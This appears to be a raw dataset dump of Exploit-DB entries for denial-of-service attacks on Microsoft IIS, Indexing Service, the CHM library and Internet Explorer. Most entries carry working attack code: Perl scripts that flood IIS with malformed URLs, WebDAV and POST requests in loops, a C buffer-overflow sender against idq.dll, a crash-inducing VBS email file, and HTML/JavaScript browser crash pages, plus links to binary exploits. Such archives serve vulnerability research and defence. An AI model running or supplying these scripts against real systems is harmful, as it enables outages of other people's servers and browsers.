deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1377
Description: Microsoft IIS - HTTP Request Denial of Service (2)
Type: dos
Platform: windows
Date: 2005-12-19
Author: kokanin

Exploit:
#!/usr/bin/perl
# _really_ bored kokanin / IIS 5.1 dos thing, Inge says to use a browser at 
# http://ingehenriksen.blogspot.com/2005/12/microsoft-iis-remote-dos-dll-url.html
# kokanin not like puny browser!!"#1 I hoped Inge was a leet haxx0r ch1ck, but it's
# apparently a dude, bummer. According to Inge passing a kinda malformed url to
# an executable dir a few times makes inetinfo.exe crap out. Yum, monday. This
# script has insanely elite randomization of the url, it even amazes me.
# Hello ilja, ptp people, others, see you at ccc and stuff.

# sample executable dirs: /_vti_bin/ /_sharepoint/ /scripts/ /cgi-bin/ /msadc/ /iisadmpwd/
# sample malformed url: http://www.example.xom/_vti_bin/.dll/*\~0
# sample run: ./this-crap.pl <www.host.bla> </executable_folder/> <count> 
# count should be 4 according to inge, do more!!!!1one MILLIONS I SAY!!! 

use List::Util 'shuffle';
use IO::Socket::INET;

$target = shift;
$folder = shift;
$amount = shift;

# main iteration thingie
for(1..$amount){
# construct an array of the reportedly bad characters
for(1..31){ @badchars[$_] = chr($_); }
# append the rest of them
@badchars = (@badchars,"?","\"","*",":","<",">");
# shuffle the array so @shuffled[0] is random 
@shuffled = shuffle(@badchars); 
# this is the request
$malformed = $folder . ".dll/" . @shuffled[0] . "/~" . int rand(9);
# this is informative text
print "[$_]\t greeting $target with: " . $malformed . "\n";
# create the socket
$socket = new IO::Socket::INET(
Proto    => "tcp",
PeerAddr => $target,
PeerPort => "80",
);
# error reporting
die "unable to connect to $target ($!) - omgomgwtf itz dead w00t w00t \n" unless $socket;
# the actual data transmission
print $socket "GET " . $malformed . " HTTP/1.0\r\n" . "Host: $target\r\n" . "\r\n\r\n";
# all done
close $socket;
}

# milw0rm.com [2005-12-19]
Exploit-DB #585
Description: Microsoft IIS - WebDAV XML Denial of Service (MS04-030)
Type: dos
Platform: windows
Date: 2004-10-20
Author: Amit Klein

Exploit:
#!/usr/bin/perl
# IIS BlowOut 
# POC exploit for MS04-030. Found by Amit Klein. 
# incognito_ergo yahoo com
# usage: perl ms04-030_spl.pl host port

use IO::Socket;

$port = @ARGV[1];
$host = @ARGV[0];


$socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => 
$port,Proto => "TCP");


for ($count=1; $count<9999; $count++) #more than nuff
{

$xmlatt = $xmlatt. "xmlns:z" . $count . "=\"xml:\" "; 

}



$xmldata = "<?xml version=\"1.0\"?>\r\n<a:propfind xmlns:a=\"DAV:\" " . 
$xmlatt . 
">\r\n<a:prop><a:getcontenttype/></a:prop>\r\n</a:propfind>\r\n\r\n";

$l=length($xmldata);

$req="PROPFIND / HTTP/1.1\nContent-type: text/xml\nHost: 
$host\nContent-length: $l\n\n$xmldata\n\n"; 

syswrite($socket,$req,length($req));

close $socket;

# milw0rm.com [2004-10-20]
Exploit-DB #20310
Description: Microsoft IIS 4.0 - Pickup Directory Denial of Service
Type: dos
Platform: windows
Date: 2000-02-15
Author: Valentijn

Exploit:
source: https://www.securityfocus.com/bid/1819/info

An email with a filename consisting of over 86 characters and an extension of .txt.eml will cause Microsoft IIS to crash if placed in the \mailroot\pickup directory. The process inetinfo.exe will crash, resulting in a Dr. Watson access violation error. Restarting IIS is required in order to regain normal functionality.

' PLEASE PROVIDE YOUR PICKUP PATH HERE
Rootpath = "c:\inetpub\mailroot\pickup\"

Set fso = createobject("scripting.filesystemobject")
Thename = Createkey & fso.GetTempName & ".eml"
Set Thefile = fso.GetFolder(rootpath).CreateTextFile(TheName)
Thefile.writeline "X-Sender: CRASHTHIS@my.net"
Thefile.writeline "X-Receiver: dump@my.net"
Thefile.writeline "From: <CRASHTHIS@my.net>"
Thefile.writeline "To: <dump@my.net>"
Thefile.writeline "Subject: MINE DID NOT CRASH"
Thefile.writeline "Date: " & now()
Thefile.writeline "X-Generator: " & Thename
Thefile.close
Set thefile = nothing
Thename = ""

Function Createkey
for z = 1 to 80
randomize
a = Int((25 * Rnd) + 1)
[CREDENTIAL_REDACTED] & chr(a+65)
next
Createkey = password
end function
' Warning IF InetInfo.exe crashes it cannot be started again as long as the
file is still there!

</example script>
Exploit-DB #20989
Description: Microsoft IIS 4.0/5.0 - Device File Local Denial of Service
Type: dos
Platform: windows
Date: 2001-07-04
Author: VIPER_SV

Exploit:
source: https://www.securityfocus.com/bid/2973/info

Microsoft IIS is prone to denial of service attacks by local users. This issue is exploitable if the local attacker can create an .asp file which makes calls to various devices names. The local attacker must of course possess the privileges required to create such files.

The end result of exploiting this vulnerability is that the server will crash and a denial of services will occur. The affected services must be restarted to regain normal functionality. 

<%
  Dim strFileName, objFSO, objFile

  Set objFSO = Server.CreateObject("Scripting.FileSystemObject")

  strFileName = "com1"

  Set objFile = objFSO.OpenTextFile(strFileName)

  Response.Write objFile.ReadAll

  objFile.Close

%>
Exploit-DB #20991
Description: Microsoft IIS 4.0/5.0 - Device File Remote Denial of Service
Type: dos
Platform: windows
Date: 2001-07-04
Author: VIPER_SV

Exploit:
source: https://www.securityfocus.com/bid/2977/info

Microsoft IIS is prone to denial of service attacks by remote attackers. This can occur if the remote attack crafts a URL which tries to pass a script parameter that is a device name.

The end result of exploiting this vulnerability is that the server will crash and a denial of services will occur. The affected services must be restarted to regain normal functionality. 

http://host.int/scripts/script.asp?script=com1
Exploit-DB #20846
Description: Microsoft IIS 4.0/5.0 - FTP Denial of Service (MS01-026)
Type: dos
Platform: windows
Date: 2000-05-14
Author: Nelson Bunker

Exploit:
source: https://www.securityfocus.com/bid/2717/info

Due to a flaw in the pattern-matching function used by FTP commands, denial of service attacks can be successfully launched. If a user submits an FTP command along with a filename containing specially placed wildcard sequences, the pattern-matching function will not allocate sufficent memory. Resulting in IIS experiencing denial of service condition.

#!/usr/bin/perl
# Author:  Nelson Bunker - Critical Watch 
# 	   http://www.criticalwatch.com 
#
# Simple Wildcard Denial of Service for IIS Ftp Servers - MS01-026 
# Tested against several servers.  Your mileage may vary.
#
# Assumes anonymous access.
#
# Thanks goes out to Lukasz Luzar [lluzar@developers.of.pl]
# For discovering and sharing this information
#
# May 15, 2001
####################_MAIN::Begin_#####################


 use Net::FTP; 

        $wildcard='*********************************************************************************************************';

if (not $ARGV[0]) {

print qq~

       Usage: wildcard_dos.pl <host>

~;

        exit;}


        $IPaddress= $ARGV[0];


        $SIG {'PIPE'} = FoundIt;

        # create new FTP connection w/30 second timeout
        $ftp = Net::FTP->new($IPaddress, Timeout =>  5);

        if(!$ftp){ die"$IPaddress is not responding to ftp connect attempt";}

        if(!$ftp->login("anonymous","tester\@")){ die"FTP user anonymous on $IPaddress is unacceptable";}

        $bogus = $ftp->ls($wildcard);


sub FoundIt
        {
        print "This machine \($IPaddress\) is affected\n";
	exit(0);

        }
Exploit-DB #19907
Description: Microsoft IIS 4.0/5.0 - Malformed File Extension Denial of Service
Type: dos
Platform: windows
Date: 2000-05-11
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/1190/info

Sending a specially crafted URL containing malformed file extension information to Microsoft IIS 4.0/5.0 will consume CPU usage until it reaches 100% which will halt the program's services. Restarting the application or waiting until the URL is processed will be required in order to regain normal functionality.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19907-1.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19907.zip
Exploit-DB #21177
Description: Microsoft IIS 5.0 - False Content-Length Field Denial of Service
Type: dos
Platform: windows
Date: 2001-12-11
Author: Ivan Hernandez Puga

Exploit:
source: https://www.securityfocus.com/bid/3667/info

Microsoft IIS 5.0 may be prone to a denial of service condition when sent a specially crafted malformed HTTP GET header.

If an IIS 5.0 web server is sent a crafted HTTP GET request which contains a falsified and excessive "Content-Length" field, it behaves in an unusual manner. The server keeps the connection open and does not time out, but does not respond otherwise. It is possible that this may be used to cause a denial of service to the web server. 

The following HTTP GET Header, containing a falsified Content-Length field, is sufficient to cause the unexpected behavior:

GET /testfile HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: 192.168.0.10
Connection: Keep-Alive
Content-Length: 5300643
Authorization: Basic
Exploit-DB #20664
Description: Microsoft IIS 5.0 - WebDAV Denial of Service
Type: dos
Platform: windows
Date: 2001-03-08
Author: Georgi Guninski

Exploit:
source: https://www.securityfocus.com/bid/2453/info

Microsoft IIS is subject to a denial of service condition. WebDAV contains a flaw in the handling of certain malformed requests, submitting multiple malformed WebDAV requests could cause the server to stop responding. This vulnerability is also known to restart all IIS services. 

#!/usr/bin/perl 
# Written by Georgi Guninski 
use IO::Socket; 

print "IIS 5.0 propfind\n"; 

$port = @ARGV[1]; 
$host = @ARGV[0]; 
  

sub vv() 
{ 

$ll=$_[0]; #length of buffer 
$ch=$_[1]; 
$over=$ch x $ll; #string to overflow 

$socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || return; 
#$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."$over".':"><a:prop><a:displayname />'."<u:$over />".'</a:prop></a:propfind>'."\n\n"; 
# ^^^^ This is another issue and also works with length ~>65000 
  

$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."over".':"><a:prop><a:displayname />'."<u:$over />".'</a:prop></a:propfind>'."\n\n"; 
$l=length($xml); 
$req="PROPFIND / HTTP/1.1\nContent-type: text/xml\nHost: $host\nContent-length: $l\n\n$xml\n\n"; 
syswrite($socket,$req,length($req)); 
print "."; 
$socket->read($res,300); 
#print "r=".$res; 
close $socket; 
} 
  

do vv(128008,"V"); # may need to change the length 
sleep(1); 
do vv(128008,"V"); 
print "Done.\n";
Exploit-DB #20854
Description: Microsoft IIS 5.0 - WebDAV Lock Method Memory Leak Denial of Service
Type: dos
Platform: windows
Date: 2001-05-17
Author: Defcom Labs

Exploit:
source: https://www.securityfocus.com/bid/2736/info

Microsoft IIS 5.0 is vulnerable to a denial of service attack.

A flaw in the WebDav extensions allow a remote attacker to carry out a DoS by repeatedly requesting nonexistent files via the HTTP LOCK method.

This leads to a complete consumption of memory resources, eventually crashing the host and requiring a restart.

LOCK /aaaaaaaaaaaaaaaaaaaaaaaaaa.htw HTTP/1.0

One way is to combine the attack with asp executions, eg.

GET /iisstart.asp?uc=a HTTP/1.0
Exploit-DB #9587
Description: Microsoft IIS 5.0/6.0 FTP Server - Stack Exhaustion Denial of Service
Type: dos
Platform: windows
Date: 2009-09-04
Author: kingcope

Exploit:
***** MS IIS FTPD DoS ZER0DAY *****

There is a DoS vulnerability in the globbing functionality of IIS FTPD.
Anonymous users can exploit this if they have read access to a directory!!!
Normal users can exploit this too if they can read a directory.

Example session where the anonymous user has read access to the folder "pub":

C:\Users\Nikolaos>ftp 192.168.2.102
Verbindung mit 192.168.2.102 wurde hergestellt.
220 Microsoft FTP Service
Benutzer (192.168.2.102:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Kennwort:
230 Anonymous user logged in.
ftp> ls "-R p*/../"
...
p*/../pub:
pub
...
p*/../pub:
pub
...
p*/../pub:
pub
...
p*/../pub:
pub
...
Verbindung beendet durch Remotehost. (MEANS: Remote Host has closed
the connection)
ftp>
ftp>

By looking into my debugging session with OllyDbg I see that an
exception is raised and
the ftp service crashes due to a "stack overflow", what is a stack exhaustion.
If the ftp service is set to "manual" startup in services control
manager the service
needs to be restarted manually.
IIS 5.0 and 6.0 were tested and are affected.

Best Regards,

Nikolaos Rangos

# milw0rm.com [2009-09-04]
Exploit-DB #3965
Description: Microsoft IIS 6.0 - '/AUX / '.aspx' Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-05-21
Author: kingcope

Exploit:
#When sending multiple parallel GET requests to a IIS 6.0 server requesting
#/AUX/.aspx the server gets instable and non responsive. This happens only
#to servers which respond a runtime error (System.Web.HttpException)
#and take two or more seconds to respond to the /AUX/.aspx GET request.
#
#
#signed,
#Kingcope kingcope@gmx.net
##########################################################################
###***********************************************************************
###
###
###
### Lame Internet Information Server 6.0 Denial Of Service (nonpermanent)
### by Kingcope, May/2007
### Better run this from a Linux system
##########################################################################

use IO::Socket;
use threads;

if ($ARGV[0] eq "") { exit; }
my $host = $ARGV[0];

$|=1;

sub sendit {
$sock = IO::Socket::INET->new(PeerAddr => $host,
                              PeerPort => 'http(80)',
                              Proto    => 'tcp');

print $sock "GET /AUX/.aspx HTTP/1.1\r\nHost: $host\r\nConnection:close\r\n\r\n";
}

$sock = IO::Socket::INET->new(PeerAddr => $host,
                              PeerPort => 'http(80)',
                              Proto    => 'tcp');

print $sock "GET /AUX/.aspx HTTP/1.1\r\nHost: $host\r\nConnection:close\r\n\r\n";

$k=0;
while (<$sock>) {
	if (($_ =~ /Runtime\sError/) || ($_ =~ /HttpException/)) {
			$k=1;
			last;
	}
}

if ($k==0) {
	print "Server does not seem vulnerable to this attack.\n";
	exit;	
}

print "ATTACK!\n";

while(1){

for (my $i=0;$i<=100;$i++) {
	$thr = threads->new(\&sendit);
	print "\r\r\r$i/100                        ";
}

foreach $thr (threads->list) {
	$thr->join;
}
}

# milw0rm.com [2007-05-21]
Exploit-DB #15167
Description: Microsoft IIS 6.0 - ASP Stack Overflow Stack Exhaustion (Denial of Service) (MS10-065)
Type: dos
Platform: windows
Date: 2010-10-01
Author: kingcope

Exploit:
Affected Vendors
Microsoft

Affected Products
Only Microsoft IIS 6.0 was tested successfully
On a Windows Server 2003 SP2 System
The System was NOT updated to the latest patches during testing.
Since tests “in the wild” have shown the attack to be real this advisory was released.

Vulnerability Details

The vulnerability allows remote unauthenticated attackers to force the IIS server to become
unresponsive until the IIS service is restarted manually by the administrator.
Required is that Active Server Pages are hosted by the IIS and that an ASP script reads out a
Post Form value. When the following ASP script is hosted by IIS the attacker can run the
attack:

	<%
		Dim variable
		variable = Request.Form(“FOOBAR”)
	%>

This small script reads out a POST request argument from the client side.

The exploit is simple: The attacker sends a POST request to the ASP site which reads out
POST arguments. The POST request includes > 40000 request parameters and is sent in the
form of an application/x-www-form-urlencoded encoding type.

The result is that one IIS worker process crashes because of a stack overflow (here stack
exhaustion). Tests have shown that five consecutive requests of this type will cause the
default application pool to be disabled because of a series of failures of the IIS worker
processes. The IIS shows a “Service Unavailable” response to requesting clients until the
World Wide Web Publishing Service is restarted manually by the administrator.


PoC Exploit
# IIS 6.0 ASP DoS PoC
# usage: perl IISdos.pl <host> <asp page>
use IO::Socket;
$|=1;
$host = $ARGV[0];
$script = $ARGV[1];
while(1) {
$sock = IO::Socket::INET->new(PeerAddr => $host,
                   PeerPort => 'http(80)',
                   Proto => 'tcp');
$write = "C=A&" x 40000;
print $sock "HEAD /$script HTTP/1.1\r\nHost: $host\r\n"
           ."Connection:Close\r\nContent-Type: application/x-www-form-urlencoded\r\n"
           ."Content-Length:". length($write) ."\r\n\r\n" . $write;
print ".";
while(<$sock>) {
           print;
}
}


Exploit-DB Notes:
In our tests, a specific setting has to be modified in metabase.xml in order to trigger the exhaustion.  Tested systems: Windows Server 2003 Standard SP2, Windows Server 2003 Standard SP1, Windows Server 2003 Standard SP0
Exploit-DB #20930
Description: Microsoft Index Server 2.0 / Indexing Service (Windows 2000) - ISAPI Extension Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2001-06-18
Author: Ps0

Exploit:
// source: https://www.securityfocus.com/bid/2880/info

Windows Index Server ships with Windows NT 4.0 Option Pack; Windows Indexing Service ships with Windows 2000. An unchecked buffer resides in the 'idq.dll' ISAPI extension associated with each service. A maliciously crafted request could allow arbitrary code to run on the host in the Local System context.

Note that Index Server and Indexing Service do not need to be running for an attacker to exploit this issue. Since 'idq.dll' is installed by default when IIS is installed, IIS would need to be the only service running.

Note also that this vulnerability is currently being exploited by the 'Code Red' worm. In addition, all products that run affected versions of IIS are also vulnerable.

// DoS for isapi idq.dll unchecked buffer.
// For Testing Pruposes
// By Ps0 DtMF dot com dot ar

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>

// #define DEBUG

int main(int argc, char *argv[])
{
   char mensaje[800];
   char *bof;
   int fd;
   struct sockaddr_in sin;
   struct hostent *rhost;

   if(argc<2) {
     fprintf(stderr,"Use : %s host\n",argv[0]);
     exit(0);
     }
   
   bzero(mensaje,strlen(mensaje));
   
   bof=(char *)malloc(240); // 240 segun eeye , si se le da mas NO anda
   
   memset(bof,'A',240);
  
   sprintf(mensaje,"GET /NULL.ida?%s=X HTTP/1.0\n\n",bof);
   
   
#ifdef DEBUG
   printf("\nMenssage : \n%s\n",mensaje);
#endif
   
   if ((rhost=gethostbyname(argv[1]))==NULL){
      printf("\nCan't find remote host %s \t E:%d\n",argv[1],h_errno);
      return -1;
   }

   sin.sin_family=AF_INET;
   sin.sin_port=htons(80);

   memcpy(&sin.sin_addr.s_addr, rhost->h_addr, rhost->h_length);

   fd = socket(AF_INET,SOCK_STREAM,6);

   if (connect(fd,(struct sockaddr *)&sin, sizeof(struct sockaddr))!=0){
      printf("\nCan't Connect to The host %s. May be down ? E:%s\n",argv[1],strerror(errno));
      return -1;
   }
   
   printf("Sending string........\n");
   
   if(send(fd,mensaje,strlen(mensaje),0)==-1){
      printf("\nError \n");
      return -1;
   }
   
   printf("\nString Sent... try telnet host 80 to check if IIS is down\n");
   
   close(fd);
   
   return 0;
 
}
Exploit-DB #37673
Description: Microsoft Indexing Service - 'ixsso.dll' ActiveX Control Denial of Service
Type: dos
Platform: windows
Date: 2012-08-24
Author: coolkaveh

Exploit:
source: https://www.securityfocus.com/bid/55202/info

Microsoft Indexing Service 'ixsso.dll' ActiveX control is prone to a denial-of-service vulnerability due to a null-pointer dereference error.

An attacker may exploit this issue by enticing victims into opening a malicious webpage or HTML email that invokes the affected control.

The attacker can exploit this issue to cause denial-of-service conditions in Internet Explorer or other applications that use the vulnerable ActiveX control. Due to the nature of this issue, arbitrary code execution may be possible, but this has not been confirmed. 

<html> Exploit <object classid='clsid:A4463024-2B6F-11D0-BFBC-0020F8008024' id='target' /></object> <script language='vbscript'> targetFile = "C:\WINDOWS\system32\ixsso.dll" prototype = "Property Let OnStartPage As object" memberName = "OnStartPage" progid = "Cisso.CissoQuery" argCount = 1 Set arg1=Nothing target.OnStartPage arg1 </script>
Exploit-DB #27850
Description: Microsoft Infotech Storage Library - Heap Corruption
Type: dos
Platform: windows
Date: 2006-05-09
Author: Ruben Santamarta

Exploit:
source: https://www.securityfocus.com/bid/17926/info

Microsoft Windows is susceptible to a heap-corruption vulnerability while attempting to read specially crafted CHM or ITS files. This occurs in the 'ITSS.DLL' library.

This vulnerability allows remote attackers to execute arbitrary machine code in the context of applications using the affected library.

Attackers may exploit this issue by coercing users to open malicious CHM or ITS files with Internet Explorer, or when users try to decompile such files using the 'hh -decompile' command. CHM files are considered unsafe files, so there is a possibility that advanced users or security researchers may try to decompile these files to inspect their contents.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27850.chm
Exploit-DB #9100
Description: Microsoft Internet Explorer - 'AddFavorite' Remote Crash (PoC)
Type: dos
Platform: windows
Date: 2009-07-09
Author: Sberry

Exploit:
------------------------------------------->
IE Add Favourites Stack Buffer Overflow POC

Sberry, Compaq

------------------------------------------->

<html>
<head>
<script language="JavaScript" type="Text/Javascript">
function go()
{
	var str =unescape('%u4141');
	var finalstr = createInlineBuffer(str, 5150000);
	var len = finalstr.length;
	document.write(len);
	addfav(finalstr);
}
			   
/* Effient in-line creation */
function createInlineBuffer (str, num) {
	var	i = Math.ceil(Math.log(num) / Math.LN2),
		res = str;
	do {
		res += res;
	} while (0 < --i);
	return res.slice(0, str.length * num);
}

/* Vulnerable Function */
function addfav(str)
   {
   if (document.all)
      {
      window.external.AddFavorite
      ('http://'+str,'Crash')
      }
   }
</script>
</head>
<body>
<a href="javascript:go()">Add To Favorites</a>
</body>
</html>

# milw0rm.com [2009-07-09]
Exploit-DB #376
Description: Microsoft Internet Explorer - 'mshtml.dll' Remote Null Pointer Crash
Type: dos
Platform: windows
Date: 2004-08-04
Author: anonymous

Exploit:
<center><a href=::%7b>Right Click aOn Me And Click "Save Target As"</a>



// milw0rm.com [2004-08-04]